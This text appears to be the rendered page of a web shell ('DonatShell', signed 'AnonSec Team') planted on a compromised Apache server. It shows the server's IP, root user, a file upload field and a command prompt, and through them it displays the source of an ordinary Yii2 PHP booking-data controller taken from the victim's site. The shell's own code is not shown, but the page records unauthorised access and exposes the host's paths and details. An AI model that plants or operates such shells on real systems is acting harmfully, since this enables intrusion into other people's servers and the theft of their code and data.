%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/ppaobm/backend/modules/booking_data/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/ppaobm/backend/modules/booking_data/controllers/BookingdataController.php
<?php

namespace backend\modules\booking_data\controllers;

use Yii;
use backend\modules\booking_data\models\BookingData;
use backend\modules\booking_data\models\BookingDataSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;
use yii\behaviors\TimestampBehavior;

/**
 * BookingDataController implements the CRUD actions for BookingData model.
 */
class BookingdataController extends Controller {

    /**
     * {@inheritdoc}
     */
    public function beforeAction($action) {
        return parent::beforeAction($action);
    }

    public function behaviors() {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    'delete' => ['POST'],
                ],
            ],
            TimestampBehavior::className(),
        ];
    }

    /**
     * Lists all BookingData models.
     * @return mixed
     */
    public function actionReportmonth() {
        $time = time();
        $searchModel = new BookingDataSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
        $dataProvider->pagination = ['pageSize' => 50,];
        $dataProvider->sort = [
            'defaultOrder' => [
                'status' => SORT_ASC,
                'id' => SORT_DESC,
            ]
        ];
        if (Yii::$app->request->post('year')) {
            $lc = Yii::$app->request->post('location');
            $mm = Yii::$app->request->post('month');
            $yy = Yii::$app->request->post('year');
        } else {
            $lc = 1;
            $mm = Yii::$app->formatter->asDate($time, 'MM');
            $yy = Yii::$app->formatter->asDate($time, 'yyyy');
        }

        return $this->render('report_month', [
                    'searchModel' => $searchModel,
                    'dataProvider' => $dataProvider,
                    'location' => $lc,
                    'month' => $mm,
                    'year' => $yy,
        ]);
    }

    public function actionReportyear() {
        $searchModel = new BookingDataSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
        $dataProvider->pagination = ['pageSize' => 50,];
        $dataProvider->sort = [
            'defaultOrder' => [
                'status' => SORT_ASC,
                'id' => SORT_DESC,
            ]
        ];
        $year = Yii::$app->request->post('year');
        if (Yii::$app->request->post('year')) {
            $yy = Yii::$app->request->post('year');
        } else {
            $yy = 2019;
        }

        return $this->render('report_year', [
                    'searchModel' => $searchModel,
                    'dataProvider' => $dataProvider,
                    'year' => $yy,
        ]);
    }

    public function actionIndex() {
        $searchModel = new BookingDataSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
        $dataProvider->pagination = ['pageSize' => 50,];
        $dataProvider->sort = [
            'defaultOrder' => [
                'status' => SORT_ASC,
                'id' => SORT_DESC,
            ]
        ];
        return $this->render('index', [
                    'searchModel' => $searchModel,
                    'dataProvider' => $dataProvider,
        ]);
    }

    public function actionCalendar() {
        $searchModel = new BookingDataSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
        $dataProvider->pagination = ['pageSize' => 50,];
        $dataProvider->sort = [
            'defaultOrder' => [
                'status' => SORT_ASC,
                'id' => SORT_DESC,
            ]
        ];
        return $this->render('calendar', [
                    'searchModel' => $searchModel,
                    'dataProvider' => $dataProvider,
        ]);
    }

    public function actionWeek() {
        $searchModel = new BookingDataSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
        $dataProvider->pagination = ['pageSize' => 50,];
        $dataProvider->sort = [
            'defaultOrder' => [
                'status' => SORT_ASC,
                'id' => SORT_DESC,
            ]
        ];
        return $this->render('week', [
                    'searchModel' => $searchModel,
                    'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single BookingData model.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionView($id) {
        return $this->render('view', [
                    'model' => $this->findModel($id),
        ]);
    }

    public function actionPpaobmset($id) {

        $model = $this->findModel($id);

        if (Yii::$app->request->post()) {
            $model->user_id = \Yii::$app->user->identity->id;
            $model->status = 1;
            $model->save(false);
            return $this->redirect(['/booking_data/bookingdata/view', 'id' => $id]);
        }

        return $this->render('view', [
                    'model' => $model,
        ]);
    }

    public function actionPpaobmunset($id) {

        $model = $this->findModel($id);

        if (Yii::$app->request->post()) {
            $model->user_id = \Yii::$app->user->identity->id;
            $model->status = 0;
            $model->save(false);
            return $this->redirect(['/booking_data/bookingdata/view', 'id' => $id]);
        }

        return $this->render('view', [
                    'model' => $model,
        ]);
    }

    public function actionPpaobmcancelset($id) {

        $model = $this->findModel($id);

        if (Yii::$app->request->post()) {
            $model->user_id = \Yii::$app->user->identity->id;
            $model->status = 2;
            $model->save(false);
            return $this->redirect(['/booking_data/bookingdata/view', 'id' => $id]);
        }

        return $this->render('view', [
                    'model' => $model,
        ]);
    }

    public function actionCancel($id) {

        $model = $this->findModel($id);

        if ($model->load(Yii::$app->request->post())) {
            $model->user_id = \Yii::$app->user->identity->id;
            $model->status = 2;
            $model->save(false);
            return $this->redirect(['/booking_data/bookingdata/view', 'id' => $id]);
        }

        return $this->renderAjax('cancel', [
                    'model' => $model,
        ]);
    }

    /**
     * Creates a new BookingData model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate() {
        $model = new BookingData();

        if ($model->load(Yii::$app->request->post())) {
            if ($model->validate()) {
                $model->filename = $model->upload($model, 'filename');
                $model->picture = $model->uploadpic($model, 'picture');
                $model->user_id = \Yii::$app->user->identity->id;
                $model->status = 0;
                $model->save(false);
//                $idd = Yii::$app->db->getLastInsertID();
                //ส่ง LINE Notify
                return $this->redirect(['/booking_data/bookingdata/index']);
            } else {
                return $this->render('create', [
                            'model' => $model,
                ]);
            }
        } else {
            return $this->render('create', [
                        'model' => $model,
            ]);
        }
    }

    /**
     * Updates an existing BookingData model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionUpdate($id) {
        $model = $this->findModel($id);

        if ($model->load(Yii::$app->request->post())) {
            $model->filename = $model->upload($model, 'filename');
            $model->picture = $model->uploadpic($model, 'picture');
            $model->user_id = \Yii::$app->user->identity->id;
            $model->save(false);
            return $this->redirect(['/booking_data/bookingdata/index']);
        }

        return $this->render('update', [
                    'model' => $model,
        ]);
    }

    /**
     * Deletes an existing BookingData model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionDelete($id) {
        $model = $this->findModel($id);
        //----------delete files
        $directory = \Yii::getAlias('@backend/web/files');

        if (is_file($directory . DIRECTORY_SEPARATOR . $model->filename)) {

            unlink($directory . DIRECTORY_SEPARATOR . $model->filename);
        }

        if (is_file($directory . DIRECTORY_SEPARATOR . $model->picture)) {

            unlink($directory . DIRECTORY_SEPARATOR . $model->picture);
        }
        //----------------------------------
        $this->findModel($id)->delete();

        return $this->redirect(['/booking_data/bookingdata/index']);
    }

    /**
     * Finds the BookingData model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return BookingData the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionJsoncalendar($start = NULL, $end = NULL, $_ = NULL, $id = NULL) {

        \Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $times = BookingData::find()->where(['location_center_id' => $id])->andWhere(['status' => 1])->all();
        $events = array();


        foreach ($times AS $time) {
            //Testing
            $Event = new \yii2fullcalendar\models\Event();
            $Event->id = $time->id;
            $Event->textColor = '#fff';
            $location = \frontend\modules\booking\models\LocationCenter::find()->where(['id' => $time->location_center_id])->one();
            $room = \frontend\modules\booking\models\LocationRoom::find()->where(['id' => $time->location_room_id])->one();
            $Event->color = '#' . $location->color;
//            $Event->title = $time->department_name;
            $Event->title = substr($location->name, 111) . " / " . $time->title;
            $Event->nonstandard = [
                'room' => $room->name,
                'location' => substr($location->name, 96),
                'title' => $time->title,
                'num_user' => $time->num_user,
                'datein' => Yii::$app->formatter->asDateTime($time->datein, 'php:H:i'),
                'start' => Yii::$app->formatter->asDateTime($time->datein, 'php:H:i'),
                'end' => Yii::$app->formatter->asDateTime($time->dateon, 'php:H:i'),
            ];
            $Event->start = date('Y-m-d\TH:i:s\Z', strtotime($time->datein));
            $Event->end = date('Y-m-d\TH:i:s\Z', strtotime($time->dateon));
            $events[] = $Event;
        }


        return $events;
    }

    protected function findModel($id) {
        if (($model = BookingData::findOne($id)) !== null) {
            return $model;
        }

        throw new NotFoundHttpException('The requested page does not exist.');
    }

}

Anon7 - 2022
AnonSec Team